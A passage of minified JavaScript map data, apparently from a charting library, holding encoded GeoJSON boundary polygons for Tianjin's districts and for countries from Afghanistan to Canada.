u`aˆ@VZzKDkJBLNXGDqKEWE@cFEFA@ƒISIi@@KMABJGBcMuFEzGVH\\ATSEUBeALCEMG@CEBUHUCGXaBPtUBBFIBFTDFF@DDKBFNGBJPHXDDMDCLJ^mBIHIL@LR\\@LCR[@@z@NFD@LLBNb@RHDBNTPT\\F@BJF@BXCFBHHBDLFB@HODADE@@JHVXCPDHCFTLBBFNCDCCCU@@GAABEHHZHBCAEdEjFDD@GfD@DXFCHF@ERFDLBH@"],encodeOffsets:[[119688,40010]]}},{type:"Feature",id:"120221",properties:{name:"宁河县",cp:[117.6801,39.3853],childNum:1},geometry:{type:"Polygon",coordinates:["@@BFLBFJXDb@DEFD\\BHEFIrC@Gb@FBCBFFGH@FJAJFNCXFFCRDCFDDH@CKJPJFALPHTALFCFGCENDDKXF@ETEBO‚bLELJDFALIPFAJL@@FfEZJTVENG@CNFFRBNEJOpJLRBXjJNLG^BBpMAAFC\\HHBAFDADDB@@CN@FFAHFDCHLHFBJGFCFUNKJJTD\\XUXF\\^F@DDDQXXBRLRCBDFEVCDLVDpUl@LEDJHAPRFGL@CETGPBTCDDVI@CFF@GFDCCVGLKEK[Y@MECISG@BKNSCGCKWEAaEBEKNGFSECO@GGM@GYI@DÅCMLHPTF@DJHAVVNKEGDETJ^[TJNNd@NOAMFYJ@@GFANDPEJB^aOadSTQSI@MHBDIEOKCG@EEFCKCqXO@@DMFENCDDHCCGJ]AKFoDaGGHYFDHKJiCMFGC@EQ@AEHGAC@IEAATKOHGIC@IXIFEoƒGE[JCFCDHNmRADFZMF[EEBMO{GU@AOW@@]ZeHBDEHBKEfQkuIWBs‡@EC@d[@[^EDMTKCEEcI@cDAB@FCBCACmOCG{PYHeBgPwPFDDALFFFCHQGSD@BHFAR[TaFYXMASUiGFL@DQNCJI@@D@PLDN`ETEFIGMCGBCE‘~CAIFDPEHGEQPHJADFJGHCJLB"],encodeOffsets:[[120145,40295]]}},{type:"Feature",id:"120109",properties:{name:"大港区",cp:[117.3875,38.757],childNum:1},geometry:{type:"Polygon",coordinates:["@@JFFL°_`ONJKDDFIFZN xlb~yFVNRŒrdJGzDPVFBCTNND\\UR@E`F@@Ip@IWGUoawOEE@ÏDgK{İEEMFëC—b…™@—KwOCDHHKBDJCDEEEAGHOABFABMCgDLSQ@CFEB‰MgYIDQINE@AUSwSAdYEHQMEyK[KI@GRMLE@@OqOoBOnpJ@BmEAFHL^FDB[C@BBDVFAHFJENB@sNEjQAMYsUgCSBGDJH@\\LjGR@NC@@G@HO@AfR@DŒM@EFEADBE@@HGDICCPlVANTC¤vgZlfRChjLJ"],encodeOffsets:[[120065,39771]]}},{type:"Feature",id:"120107",properties:{name:"塘沽区",cp:[117.6801,38.9987],childNum:1},geometry:{type:"Polygon",coordinates:["@@|ODHnPBDADEDA@CB@ddJFFLDNSFC\\]\\@@cFDˆ@nACOMW@M@ITURBRZNHNWRQšoO•j½f‡cqŸAqeiDÿÍyÓįFL|Ch@ÐFFxPpbHVJXo@@JCTR^BPABQA]^MB@bE@@FQBFVJRH@FXtPNZSBAja@@NƒDTŽLJrQTHFXZFB`"],encodeOffsets:[[120391,40118]]}},{type:"Feature",id:"120111",properties:{name:"西青区",cp:[117.1829,39.0022],childNum:1},geometry:{type:"Polygon",coordinates:["@@@LHAHRHATh`LHNHDG`HDGZ`D@FQDAHXFACNAFLVRTBFOfHDCVBFQH@HSXHEPFB@LDBF[bDbLFKJBFLADBDjLvCPEI]FGEIGCBEUSjcFiBIVWfaHCjN^HtwBBFGPBJGjFBEGECGDONMFAP]TDHQOWCMGAMHKIJEIGQ]aDlUG]VGEGDC„{PEbBZmE@@GH@BCA@FMQCFMYMJECELCMI_P¯`]R±œ¡¸od“f—x•\\gF@JUFFH[F@DIBGMMFaJDDQ@MCSDCBENMH"],encodeOffsets:[[119688,40010]]}},{type:"Feature",id:"120113",properties:{name:"北辰区",cp:[117.1761,39.2548],childNum:1},geometry:{type:"Polygon",coordinates:["@@ROHFFGCOJEDB’}DFHANDJHFEFSM_KC@O@CJ@DIRM@CEKKA…L…FKACHoLSJSIBETDJaEIIE]E]K[MYUYQILC@GF[MGNKEK@A@BCWECAIFEFYAGFOMI[OFuDiKACBCEKIAELaKaCE\\CA@KEAFOWGGTG@ERUACDeGEPSAUQKHE`FNjNFJADHHCJFB@DEXZFRRBJLA@AR@@BJ@CHF@BRX@@NQdDBBJhHCCZDLUNA^H@BKDPFEJ\\JMPfL^AJFFGLBDGLET@HJLBCFHDCPH@BIJFCLGABHNBDEF@BCN@@FHDDDN@BNEJH@@HF@DEJB@FfLNC@AHB@DHD\\IFGTCBCF@@JNH@ALKHBHCHBDMFEP@KYbHDEJF"],encodeOffsets:[[120139,40273]]}},{type:"Feature",id:"120110",properties:{name:"东丽区",cp:[117.4013,39.1223],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZV\\N^L^FJFFJIbSCAFTJTIpKDGLB†E†KLBjHTVNBZWbE\\SBQGE@ATCRHDGEEKECBECxOhOfAZGA_YEEWSGqRKIS„C@Mb@BiTAMYsOEWG@IQEURA@EF@@acUOXQRYCUDCHDTEF[SUEgAYDcVGJM`iAWDWLQRMHUHgDsDBLHJFCFDFGHBFFVEAGHCJN@RJF‡PIhBD\\FENCPWA@LFBAFHBEJUEARCDIAEDQBRNa^"],encodeOffsets:[[120048,40134]]}},{type:"Feature",id:"120108",properties:{name:"汉沽区",cp:[117.8888,39.2191],childNum:1},geometry:{type:"Polygon",coordinates:["@@LMEI\\MTABKN@FCDMH@COAcH[AoēA™M¡Wa[Meq™pQRMXMGQYQASV@J@NNXDPmBAtJXlveRLFGACFGAYf@^X@BPV@|HNPFA\\FNEEYBCnQGMDCDE\\IHFp„EFWJ@JJDGHLPBSFB@JBDGHBFR@@FHDNEjDLICGZEHGbHpCLE^BHIDDCGDCFMNE@CP@rWLDEDFFH@"],encodeOffsets:[[120859,40235]]}},{type:"Feature",id:"120112",properties:{name:"津南区",cp:[117.3958,38.9603],childNum:1},geometry:{type:"Polygon",coordinates:["@@TLv@CNHFFBHGZFETNPhCVGNGRQXKXCjBN_HIdUZChBVF\\TFECSDGVCZDRQPWdVNA^]RBBAAOQ]DSE@F_Q@[VMCSMADUECOHycI‹qMQEU}zkaŸwENRDENB@ADG@@HF@YnaAOFƒ|CDFHUHH^kVbCR^JHIFLJNGHBDNPXGRSCO^EBMNCPDHHFAFiEIHOAEH"],encodeOffsets:[[120045,39982]]}},{type:"Feature",id:"120103",properties:{name:"河西区",cp:[117.2365,39.0804],childNum:1},geometry:{type:"Polygon",coordinates:["@@d@hZNFdcLYXKRCtCMOFSYEGHEAGEDMu@SKAAsx]GMTGt"],encodeOffsets:[[119992,40041]]}},{type:"Feature",id:"120102",properties:{name:"河东区",cp:[117.2571,39.1209],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZBVFFIGABEEA@KXBDOFM[EACJgˆOIE@QIMGDBHUFEEGAEHECEDGIAKQDWLKZcdQPEP@FOFBJTJ@HNORJf@DBCN"],encodeOffsets:[[120063,40098]]}},{type:"Feature",id:"120104",properties:{name:"南开区",cp:[117.1527,39.1065],childNum:1},geometry:{type:"Polygon",coordinates:["@@NMVDCG\\E^B@HlB@YEDS@C…HsNSiMGDebUXAJEjidVTAFHDFJ"],encodeOffsets:[[119940,40093]]}},{type:"Feature",id:"120105",properties:{name:"河北区",cp:[117.2145,39.1615],childNum:1},geometry:{type:"Polygon",coordinates:["@@DBXFADB@L@LFHM\\NHED@JKZRb]QMRAFCJBDCBQYADMCAe@QIMP@GSIAIPE@E[EGH@ZEF]^HJAXK@KF"],encodeOffsets:[[119980,40125]]}},{type:"Feature",id:"120106",properties:{name:"红桥区",cp:[117.1596,39.1663],childNum:1},geometry:{type:"Polygon",coordinates:["@@J\\PNHEZBFEJELEL@BWGI^]FEkA@G]A[FDHUCMNEHJ^"],encodeOffsets:[[119942,40112]]}},{type:"Feature",id:"120101",properties:{name:"和平区",cp:[117.2008,39.1189],childNum:1},geometry:{type:"Polygon",coordinates:["@@D†T@FCHG\\FFOROMEgYc@"],encodeOffsets:[[119992,40041]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/world_geo",[],function(){return{type:"FeatureCollection",offset:{x:170,y:90},features:[{type:"Feature",id:"AFG",properties:{name:"Afghanistan"},geometry:{type:"Polygon",coordinates:["@@ࡪ͇وŐǬϠڐŶӂʮǚڦ۾njƀ̚ІɣʪҴMوǯʲĹ،˒˰Nj˖ϪԈiżŬĘͺβ̈Ҕȏĝʱʪ¡ý۷ͪ˟̊ǰώĊԼϖׂ×ࢀAƬʋӧĥяƹ७ĭࣗǭӫλȤΣĪллΛ–͑ɳ̡ߛ€ͦ։՗ɅΥԕ²ԋ͡ɿ̳þٝŋğɻسDҵӇ‡܍થΓבôǝȁԇņ࠿űටіހހåզُƚßՔ˟ڢάҢιŮɲؒ΂ਸ"],encodeOffsets:[[62680,36506]]}},{type:"Feature",id:"AGO",properties:{name:"Angola"},geometry:{type:"MultiPolygon",coordinates:[["@@ȸصʌԋȘ˕͐ѯ֊æˤŠҬşŲɀɂӨԶ®ƤіHñ̡৴RfՉǞ͕ūԑÖԫ˪̷­ৃȼüκsԴŴϦ¹ĘʹĩСƨϿů̿î́ყZᦵ֤ۋպԽ໳΁᎝Š׋Ж₭—ŵÏԃϞկ~ԉƝЙDžÿՈŜ݊̂ޒªΰ˚ݶȨΆӘռːϐĘج«ӊʣ̜ɡԚȵԎ®Ǩʶͬʭ߼ǣ֚сՐĄǎΌŔʒg̎ĸៜ["],["@@ɉėɣلͼδʪƘ̀˽̩ǯƍɍλ"]],encodeOffsets:[[[16719,-6018]],[[12736,-5820]]]}},{type:"Feature",id:"ALB",properties:{name:"Albania"},geometry:{type:"Polygon",coordinates:["@@Ń˷ŢέΒȳiə˗ŧ»˙ϷСƛÐgȂү˰ñАîֶŖʼƗƂÉˌθаÂƿɨôǴɥȪďȨ̂"],encodeOffsets:[[21085,42860]]}},{type:"Feature",id:"ARE",properties:{name:"United Arab Emirates"},geometry:{type:"Polygon",coordinates:["@@Ƭ¤ŒɱڂƂ۞uԖ{ֺ֪ظՠՎԮdž˹ŖڑѕGçճƪŝϝǑE΅ʓΏuͷǝDZᡋъ͏࡚Ț"],encodeOffsets:[[52818,24828]]}},{type:"Feature",id:"ARG",properties:{name:"Argentina"},geometry:{type:"MultiPolygon",coordinates:[["@@ߗ§ѓ̔ԑx࣑@Aሞ͒ϵрؿનԋ୲ȿϙп"],["@@Ӵ؇͠ڰॠ“ƊǷ໶ോۊŷਆاࡾ͡Ŧχࠡ౧ࡒɭ़ŷڔƈނ٢ƎݐжLjфӝiڣۻҩ֟΁ॅࠃ૭ଧȽڥɣࡹT࠷ǽȇÝիËѫ੨ܙŗ׃Հν§Ч߯ઁఛ҉။ǩउĎǰԅǣػƺщԋ̏ࡱř̪͕߱ɗŜ࠳֨ʧҠˆʢѧޛʻڭԹūࡋȣ҇ߏEڃљʋؿؙࠞߦǝ˿ݭ঳Ӄձটލͧ΅Ͽ˔ࢍ֔ӡΟ¨ީƀ᎓ŒΑӪhؾ֓Ą̃̏óࢺ٤φˈՒĭьѾܔ̬૘ěӲξDŽę̈́ϵǚˢΜϛ͈ȝॺ͸Ǣƙ਀ȠࡲɤݢԊ̨ʭࠐEޚَոo۰ӒࠎDޜɓƶϭฐԬࡺÿࠀ̜ބռ߂צԺʥ͢Ǭ˔ඔࣶд̀ࢎĹɂ۬ݺશȱ"]],encodeOffsets:[[[-67072,-56524]],[[-66524,-22605]]]}},{type:"Feature",id:"ARM",properties:{name:"Armenia"},geometry:{type:"Polygon",coordinates:["@@୞ƀǨə͌ƣǛɁ҄˽ʁˋΦɫϘƏl׋̣}΃ӢHżχCʝɤǩuͧʖرȼĄФƛ̒"],encodeOffsets:[[44629,42079]]}},{type:"Feature",id:"ATF",properties:{name:"French Southern and Antarctic Lands"},geometry:{type:"Polygon",coordinates:["@@ը˃ߐĿˆDžɽϣಇÃq҂ŮΎÊǢ"],encodeOffsets:[[70590,-49792]]}},{type:"Feature",id:"AUS",properties:{name:"Australia"},geometry:{type:"MultiPolygon",coordinates:[["@@ߺ́ҜŘپNJԎÉÐঽ˽́ēگ̉ɰ׍בǧ®ԫ€ԭܘŗֈӝܸtϬռõ"],["@@̢ڇբ̈́˦ΡЖ͟đϋǴܛŸнɄĹɬܕąѥ˖֭࣬ѭצЋ֞λŋȯӔՃࣧ͜ͲȂ;ηȴźƢࢹ׬ԩϸ͋ڀڹʀڭtӏËԳА܋µݓơϵɩݡjӕǕ׻χއثЭ̫ٱ˫гʝܧ͕нɅػʼnׁªˇӕ̇व‰ޡ·ϫ͙ԕέ۟ψԥƪżѬҝǃ݁؉ܩɪӉƄӑÔ߿ʐիԮƻْțьЭ;߱ĸˢРȯزЧ׉ݝƷѮҬŶӞ͘ЬãجہܑԿ˽͏ڛٽΊ~ҀԿ،ѹ̀ǂȘઃԚןz߯Цຓāછ̝ख़˫ߡÈࢻљܯȗljѱ̳Ϳ܉qՅõݑƶ׿ğֽԁ҃ʕœуʁЗˋؕ֛Bࢽ՜ҋDŽlӖкŘƚȒ‡̠ĺאģӼѻࡖƏӒ˜ӎͭնsʚϋͰĽڄӓڔřΪτε˳ެиʑʞ͗aјеڎă˄țʦĠӠǢȸŘрęӮΎ؀Úٕ΢׀ۀˬЦΪٜ̰ϤàɴĻڎ̺ԚĤŶȀɞüҬoࢨʖҚώɊ҆ӲѐœͲvҘט܎ΠܩΦǚ̗Ј˂ТψǻĸٖҠаȮͨцƜ`ɼτĭdɂτŦОŔبϫҲӽՂMՖÿDZҦДڪϜɘſȾκӒԘ̒јıۺǂeі؛ˢ҂Ū֎ȻҀ·ۼɋʈĐԶʵӬʊ͂ñȠNJϬеɡ͉҇ͻ˿ƒĮͱʙп̗ЭÔʁڜҫ٨ˏѠ́؈ӻʂBѰɍŶʷߤ˵ֈ˼ǐҊǠόľҤʰڞŝОÔʔīӔŌنLjǠŽˬȮѾdžҦtʈ̸̾ʂЩÎՃȾķ˜Λ̨ёÚӇ‡̥"]],encodeOffsets:[[[148888,-41771]],[[147008,-14093]]]}},{type:"Feature",id:"AUT",properties:{name:"Austria"},geometry:{type:"Polygon",coordinates:["@@Û΃ӁCǎǻ˧էLJƗܽsщȏۛÞயɐȉ̊ࠧƣĭDžԗŢѕxϝƶźȴƬʪ²ьɹŤɜݎ•׸ƮЖ}ˀǣþƜšո̠ń̒ϰز˓ӀΆ̐ÚٶʱЂªϰǁãŃČ̅"],encodeOffsets:[[17388,49279]]}},{type:"Feature",id:"AZE",properties:{name:"Azerbaijan"},geometry:{type:"MultiPolygon",coordinates:[["@@ʞɣψDGŻ΄ӡֽŒщϰƃ͆Ǫv"],["@@ϊËƞɈԈͺѴѵђ׭ϺŸʸɧۗãƣٵƟ̭̍ȝvзȽ¥ԻѲ̂дʝʚ̿×যإk׌ϗƐΥɬʂˌ҃˾ǜɂ͋ƤǧɚȶƎضʍҐ¹ŘIJбҔɔŚʀ…׀ԙ"]],encodeOffsets:[[[46083,40694]],[[48511,42210]]]}},{type:"Feature",id:"BDI",properties:{name:"Burundi"},geometry:{type:"Polygon",coordinates:["@@Á০ɃϢԜßʲӎҀŸͧǸȏT˗ȹǭ͛ѫ̧̥΍Ÿ"],encodeOffsets:[[30045,-4607]]}},{type:"Feature",id:"BEL",properties:{name:"Belgium"},geometry:{type:"Polygon",coordinates:["@@؜áުǪՐοҦȝħ֧ɕĝһܿϦћßדІϷͶϷ`ũ̒ڪǔ"],encodeOffsets:[[3395,52579]]}},{type:"Feature",id:"BEN",properties:{name:"Benin"},geometry:{type:"Polygon",coordinates:["@@ۛįȹ׆žኞǛǦЮ̇̌ʱʞņѶ̀ĨǠξЪĀȀʤˮʘ̠F٘ә˩ȎӽǓͷĘɧСԳʵʳǁՉt՗µണ"],encodeOffsets:[[2757,6410]]}},{type:"Feature",id:"BFA",properties:{name:"Burkina Faso"},geometry:{type:"Polygon",coordinates:["@@ֹɐϽ‹̍Ƀϗǰƥ˦ϙǾÅӦɮΤo˴ښۢŬּɲȴОœΚǢŘɎٴϖdžˀ޼ΒҦŢɀLJՠJáСŔϣӀչ€НॺȏmֻǿʣЩÿǟν˿ħ݁lϳâ˓ƉωÖร¡qӉŘم"],encodeOffsets:[[-2895,9874]]}},{type:"Feature",id:"BGD",properties:{name:"Bangladesh"},geometry:{type:"Polygon",coordinates:["@@i׽̉ŶÆگʉѬµєDžКΕӨޟ’ü΋˃ҳΧǠũƵʃĠ͗øŽۖ̅لƜԒԫɤȆ̪Հ̼؅Ѽ֮̔ږεВ£ô׏ߞřު^Ӟƛϯ܅ϕµʷӍҢѥƎ՞ɶFѶ೯"],encodeOffsets:[[94897,22571]]}},{type:"Feature",id:"BGR",properties:{name:"Bulgaria"},geometry:{type:"Polygon",coordinates:["@@ʎΉ͚Ö٦ſ௾«иɌবȜ̩ؒӴĕѥΏ̫׹˔ӏܣŒࡥ˃Uлޅÿס̊ڧɱة|Ñ֊сːƒŢĝĴƘˌ͌ˀСδ÷̬ȸȐ"],encodeOffsets:[[23201,45297]]}},{type:"Feature",id:"BHS",properties:{name:"The Bahamas"},geometry:{type:"MultiPolygon",coordinates:[["@@ȵ£ɇӜ̿ʐǾՔʨ‘ۣ̎Jӥ"],["@@ࣷƅÏ̴Ђäֈ{~ɕ"],["@@ƟׯƷņ`ѮϓͪCĪڐϗ"]],encodeOffsets:[[[-79395,24330]],[[-79687,27218]],[[-78848,27229]]]}},{type:"Feature",id:"BIH",properties:{name:"Bosnia and Herzegovina"},geometry:{type:"Polygon",coordinates:["@@̦FȿσМ͓ūЃȡ™ƽû˙țūҥݓ͈ͅΘ͋Ȅϭ̾ǻʺЩϾǬΒ̞ȕǼǨϾnܠƓ׈\\Ϟȅ"],encodeOffsets:[[19462,45937]]}},{type:"Feature",id:"BLR",properties:{name:"Belarus"},geometry:{type:"Polygon",coordinates:["@@߼Mࣰ̈́ȚӄېːÿϔԜƚ͖ࣘࢮɁŢȻѲĴࠒȧĊЁǷɧՄս΂Ƴ»Ʊ֦Ʃʎɡ͝ǿڳˆljÿȠ˧ȸ՝ܝ¹ʵȁÃхͭĆݷ¡əȞ̿ƥ́ŨڍjफȬࡕàٱmҡɩГeϐʷϴԌǢLͰɷ͌™ϊ"],encodeOffsets:[[24048,55207]]}},{type:"Feature",id:"BLZ",properties:{name:"Belize"},geometry:{type:"Polygon",coordinates:["@@OŮĸžƴı̞ԔDŽZHūDŽGaɭƋεôŻĕ̝ÀăīщǓɟƱǓ̅ʣ@àॆPژ"],encodeOffsets:[[-91282,18236]]}},{type:"Feature",id:"BMU",properties:{name:"Bermuda"},geometry:{type:"Polygon",coordinates:["@@OEMA]NOGNG\\Q^McMOI_OK@CQSGa@WNLVWHFLJXVFGJ`ZRTDLeeWKIHGIK@@[MQNi`]VDTBHCJAPBJLVFjT^LV\\RJZRn^RH`TfJjZHHOTTFJP_NOX[EYQQKMEJOLANJH@HQHAARF@ZEPS[U_IcRQXE@EEKKOCGGCQCOGISKYGUC"],encodeOffsets:[[-66334,33083]]}},{type:"Feature",id:"BOL",properties:{name:"Bolivia"},geometry:{type:"Polygon",coordinates:["@@य़”͟گӳ؈વȲ۫ݹ؅ŗ͡୆ҋऺˆ߾ѳ΢ŏ؆ЫֲՌ࣢αۺȖ˰ƭ̶͠рh܎¤נǸ˶ܩഠزíѠnȈʪ݀;Ѷ͂સƚęؽļ͓ãࣰ֛ݫऴƑ̻ͦ֨ǕΐʑՈTӦʟšӟǐʕZγʓa͒এྖ“ūӟĜͧҞɽȤԹƫڋɯρĄӏʿǥaʶ޳јޭ^ัʓЕ݋sҋͥ৕ƉǸ"],encodeOffsets:[[-64354,-22563]]}},{type:"Feature",id:"BRA",properties:{name:"Brazil"},geometry:{type:"Polygon",coordinates:["@@૮ନॆࠄ֠΂ۼҪjڤуӞеLJǒӜŖӼBҦ̡ƴ̿Ƌ̻œį͔ýޔƿʤ֥ɪ΃ǏࢱLjÈଜʝҴˀǦăӐɰςƬڌȣԺҝɾěͨŬӠྕ”͑ঐʔbYδǏʖ™ӠӥʠՇSΏʒ֧ǖ̼ͥळƒ࣯ݬä֜Ļ͔Ěؾષƙѵ́ܿͽȇʩџmرîӃƟϡĪÈ౨ۏӷݏv҄ͅ֏¶DzΰұԞΓݴɜƶA΢ԖʎċҔɊ̈Ôϼ०ֲێNJŔŴݴŸϚᘰpθſӔύ̬LؐӀƒǚē†͐ӯĔYՀ࿖k˦̂ɸˉǐӷǂļҨѻٸÆnjʲشȞΊƐĮΤ׸ʆ¯Ǯ܅ðśՊ’֞ϓɒǀþجŅڜȿʐȤ؀žल̮͎̾ŏʂѪšȜȗʼnσ̀ŵȖϷɷ̏ƅ܏ɌыÔϳԬϿЮ¥Ģǒˆ˜ϠƦ˚ɢҬíȲŠҚçøǢƗǘĎʐͺõЈĒӔDZξǥʺɪȊ•ŘɿДÒ͒͊ʴؤӼޒ˺¢ȺҫҼ฽҈Ƒxׅمەʾʩ๤ƁŠࡃٔր੐̟ඊԡШӱƏҫ঎ʶ࿐ѹఴŽఔ۝੸व٪ʏܖ‘̦˅˸੭Ɣԗͯ൹ёշஅୡՙोثܯȿgɻءÒ༽ɹಓęօˇͧƫ૱࡛઱ƛࢁڹηȟԋ࣯Fೕ͓סύवʗ঩ڝ܅࠯ũطƔҫƽࡓȏЧחҥट๕݉ڗ֯Ͻϥߛ։ӑɷӈψЊӟֲڇҬࡹՠ̹{ࡅٰձę"], +encodeOffsets:[[-59008,-30941]]}},{type:"Feature",id:"BRN",properties:{name:"Brunei"},geometry:{type:"Polygon",coordinates:["@@ͬ̾܎Ң›Я·՛Б€ǭ˹ϥѦ"],encodeOffsets:[[116945,4635]]}},{type:"Feature",id:"BTN",properties:{name:"Bhutan"},geometry:{type:"Polygon",coordinates:["@@΂ˍÏԩۇ{ۿÈՇſޅ͊kǚ֌زҒɈ׸șѺqπɥ"],encodeOffsets:[[93898,28439]]}},{type:"Feature",id:"BWA",properties:{name:"Botswana"},geometry:{type:"Polygon",coordinates:["@@ǜƭ˄ӡॎइήĝD̑ʚՑٰŹ՚ϝ஑أݭع˩֓ʧ́ҙãƧГďʽ՝țہ¤БɾΟĸХșȵГЉʧпϑ׻đȇ̐üԠӽߚɧŲAរࠤˆ|Ჾش„ಖ͎̎΍՜ͤʮDӂȎưÙ͔ڣ"],encodeOffsets:[[26265,-18980]]}},{type:"Feature",id:"CAF",properties:{name:"Central African Republic"},geometry:{type:"Polygon",coordinates:["@@ۜÚƺɎƔgȾȏ੔͐Τ͠Ѭ̌ĉ̐ʂüߺ½߆ϴ؊ࣺю;ՐƜĪΫӜԿF΃ƋΓÄʻ̆ʍٖοҢͻT˗֠ѫΖεɆԋغͩƊˉˣęաpكĘ̹ïųȱ˕}ͧDzधнϥĎŗÝʥԕطǐؙĊ՗̴ۓ˸҉˓͛яùדգ²֩Ƙԅѻѯޱėʐ›Ϧϧ˔̳Ѡï̠ЇѮæʢċΞÞٴȬƴц࡜"],encodeOffsets:[[15647,7601]]}},{type:"Feature",id:"CAN",properties:{name:"Canada"},geometry:{type:"MultiPolygon",coordinates:[["@@؎œުxЯ΅̵Å੥Φȿˬ͆ʸ̎С"],["@@Хcઝ˂ޯІ̄î૆Ɂ࡮Η|Ʒ"],["@@хŝൡϢʥ̘ݩ̌Ưʈࡻư͕ҜðȚࢨǿԨŵ߄ė˺̃дЋ࠼΍Όҩ"],["@@։ܿո˴֠ǵ̏̉ݚɱϰȴ࠼ʵʹ؛טƞņѿʼԷΝ݉ϝ‹փǂǾیɻńইܯԅ†צЂ߫Ȳࣙ¹࿅~ŹʠԼ̐λɬ۸Ԓࢄ೾Զӎܲ̂϶™Njɫ҅Չ"],["@@@@@@@@߰äʥ॓ܶگͯDԑϪ̵ϮчʾƻτºˎЂŋ"],["@@͡ѳχîəʢ Î͖ʦΆkɈǣ"],["@@ঝҧץnǿɪزϲ଼SiǍ"],["@@ƼυјżӨɗं˽४ʽöЍؤÞ׶˥ݙ˃ಳȬҽϚ࠭ҁ஡ѣ˿Ӯଗăܴдņڌ˺ޔ؈å"],["@@ष¥ȿЪΦҼޖŜپɷXέħřձʛ"],["@@Է̍ଉʬۃğଫϘ݊ʼטζࢼʃԎƯʦDžԠ͍"],["@@G࡭૰ڄ৐եʡح߾֥࢚؈ؖܨ°ईஞÝఔūૼй¼зس҃פ҇ŃУ࿩חୡŻࢃʨʣуߵ۽ʓοই֩ளÇڏΡÇձ঍Ŀਉڻ࣭ु͙ڏ±উంƕϜ޻ϼّ୲ǔ༞εࡀ͋׺Ѕ੆ɳࢸΟ൶µࣴąƍܫʼࡋ،ळనߗ٨˚ҔࡺѭೢףѶഎЀ॒לҮהç֭֘܌৷لলࢤνݾ˫ಾגȘ෸ɫࡸć۠ɚ޴˵ਚӣʮ͙ຄÛ}۷˪ਜ਼ގſ،ӵ௖Ұߦऔ֌ϸٺݣબੳघ৙͵Յ૤Ӂݰӓംɏբˍͬ܃ټŏͶͅÖऻ؍́׽̏൯̗੏ۑ෇ƋᅛǮుPࢇÍ۱׽ੳω௉૗ॵޡ܌Ɛഘૄᄈ۪సČݔЫߍ֟ˊࣟ˜هતп൸ŨࡆीÎ؍ժ̥ਣսᇷԁ࠯ͽय؁ٓ֍܆ฤ۞഍ƒणĹջӆBନύʐ֛ƛ˧ɚٙىʱٹ̕ϡΥŽˏ¥čȹ໽A౥MϛƷࢵ؃Ŀßˍ͝ޗBࠛGϛƅƊǑøʯeďષлࡽſউ҅Ɂ@˷ƂĥŦnĔȂ̎ЂҦʘӺǙܴǵނ࢕ЂľƬūĺɳ@ǛƆ¥ȤǍēɥ€¾ĊȡĊćɚٵːڹ˪ࠑ͘߁̨ݧʃ˝Sਕɔڻʼnࠁʺ࡫Ɔו¾ʻƜƫҤ˳IE͓჏BᮝA᭯@ᡃ@ᠿ@៙@ᢡ@ࠛ@᠁@ᛷ@őF྽ࠜ׵δຽΐҳݖŤԨ੻ΨƧڴ৭؎iѠҲКwՌෙ՘࡭ॠՁ׾ޑϚ֣ΈѿѢࡇ˕ࠇҹݛւדπࠋɸࠟ|JⷎNᷲ༬ȭ೘Й࢘û݆ΖৰˀఢĹ఼τ൘Ⱦ־ΑظȠȊЄ׈ęෆݫ૦֬ŖّਔƐ͆ʖৰ·౼Λዸ̭ୄƛࠖÄଊэ஁зຶǷᗘIJܒƦࣆԋࣴьࡩΦժ˼৾žڦĎڴȩࡊҗरä๢ϛಬƄ௬oĭԺݞƦದ˵KߑՖڠڰuϞࡊ࣑԰কͺäघশ؎ૌƇࡘχଞॅݗЭ༠ǝ"],["@@нϿሎʬୠщॊіސ˟یࠛфΒ׭ࡰ݊Ŭ࠲Ƈश͹ՆࠉʼץථеະЉĝσൡã՚͓˱ູ̯Ƃฃɪঋ»ཅ˷ᒃű๻āҕІଫɮݙģਛږ֔ĚಘƜஈ›રƦྷȞᅗã஗jѷ̴ዎͲಗ[ืɚ۶ـגͮᖬԠ࡬Nj"],["@@݉ևಹך˸Ş૸’ٔȁ"],["@@öɵࢿ|ࣟjࣿőʑ¼ऍѾ˜̠ИÈነěชң"],["@@ڎԽޤڴᒆΈ෺ࢅůջဒʒߒͮሀыୄЏŊν༚Ȑ࢘՗᎐ܸͩ͹ߐ޻໯ϹጘչೲȁீޙೖÇʽכ้ঋਗά೓߲ઙĿŁӕࢪӥଜϯΌɟմࠩ́׿੕ɪᑏڨஎܣ࢔ԕƎ̉ᗱͲᅩӤ৳Ц̌ʂయќ௥Т`ʑᝡƅ܃˾ֆؤ཈dႸņ˫̜̊оચࠊɳϊ͕˾౿Рၳ˺՞ɆࢷԺ݋´ڏ˸҇ʛ຿ŅᵝȈᄫʚഹŴۥ̐࢞Ϧ஝Hˉ࡚٦ݨࡺ΄ᓪɢأի"],["@@৊ǯຄńɖʑ޷Е౜αƱݳ൝͗߳ê׉͎ᐡٮjˎ႖ĽएռসР"],["@@࣓عय़ŒԽ݆`кѮΨ࠰ɮც‡ྈȱళݟ৉Ǎ"],["@@ᕍЙѷςኹѺήΤ׌ؘܰւࠑԦᭊƀ஬ǧᒰ±ࠄʑࣖΝ੍ɃᏝןਫי@ν"],["@@ҙ͙௝Øৱɖ҂Ϛீɨܼ̬̍ˇ"],["@@ٞϵ€љϣس൱đࣗƈjӬ൝ÝÁٮࣜౌ˺ஂµÜŎ"],["@@̙͢ݠƘࢢ™ƪЩԝЋ᭗Žᑯη౩mŅ˜პϊ④ij୯Ʈପࠐ߈ɾᛄ˳๶ӻฺÛறߨޔ̪ࢄĭ˲Џ"],["@@ढ˓ကFܨˡȑ́८ȍՔȧଊ™௬ë೸ǼႊðീÏ࣒ͅȊ΍ԽɟభǷ੽ĸᜱŻႫcഫļᖁ˔̃ҦĹжࡇξ჋ĺঅʼ͂ΈႾÁ"],["@@ŗ٣٩̇޹£༝Ϋ഍ŹଗǼ@@ුؼႮծಆ[ସŬ"],["@@ϣy༽Âɡɼၜ]מƻĵĩ"],["@@༩ʋఝ˔ڼˎ௮Đஈſ˩ʥ"],["@@৽ǏඉBbŤࡴʦҌદǝ"],["@@కǥۃȚέ͂áΎજ‘ӪÅ৐̇ɫ̣"],["@@͜Ε൏Ĥ൩˘ሏŒߺʠ৫ȮÕ͐࿶ŕᗢ̫ٞЍ"],["@@০˕ଽʟ༇ك๥Óდņࣗ΄^̦ڔɢ໡Oए˨ՑϠ׌ώ׊ʲࡴÎοȖዜ¨੶҅මǵ൞ǃڒև"],["@@ᖢßᅮŅ໤ɫ™ɡᏅη᎙ǟݻȉᆬJጡԙേʃ෯ۇႿƓՙǡᡷěୈĿׇƭ۞бߙ˽